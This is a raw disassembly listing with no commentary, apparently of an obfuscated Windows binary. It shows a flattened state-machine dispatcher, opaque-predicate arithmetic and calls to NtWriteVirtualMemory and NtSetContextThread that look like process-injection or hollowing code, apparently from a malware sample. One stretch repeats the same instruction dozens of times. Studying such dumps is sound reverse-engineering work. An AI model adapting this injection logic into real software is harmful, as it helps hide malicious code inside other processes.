cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov eax, dword [ebp - 0x94]
mov edx, dword [eax]
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x98]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x84344863
mov ecx, 0x3a6b818b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov dword [ebp - 0x194], 0xa9e38460
jmp 0x100107de
mov dword [ebp - 0x194], 0x24caacc9
jmp 0x100107de
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x174]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x178]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov dword [ebp - 0x194], 0x16777fec
jmp 0x100107de
mov dword [ebp - 0x194], 0xdfe318ab
jmp 0x100107de
mov eax, dword [ebp - 0x164]
mov dword [eax], 0
mov dword [ebp - 0x194], 0xa5e84feb
jmp 0x100107de
mov dword [ebp - 0x194], 0xe0e75355
jmp 0x100107de
mov dword [ebp - 0x194], 0xb781eb5e
jmp 0x100107de
mov dword [ebp - 0x194], 0x51b8d694
jmp 0x100107de
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0xa4]
shr ecx, 1
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x174]
mov eax, dword [eax + 0x34]
sub ecx, 0xd927fbb1
sub ecx, eax
add ecx, 0xd927fbb1
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov dword [eax], 0
mov dword [ebp - 0x194], 0x1e9b2ba7
jmp 0x100107de
mov dword [ebp - 0x194], 0xbba9ab1c
jmp 0x100107de
mov dword [ebp - 0x194], 0x2f033794
jmp 0x100107de
mov eax, dword [ebp - 0x154]
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x194], 0xa6294159
jmp 0x100107de
mov eax, dword [ebp - 0x94]
mov edx, dword [eax]
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x98]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x194], 0x808727e6
jmp 0x100107de
mov eax, dword [ebp - 0x8c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x90]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x164]
mov dword [eax], ecx
mov dword [ebp - 0x194], 0x384fef89
jmp 0x100107de
jmp 0x10009530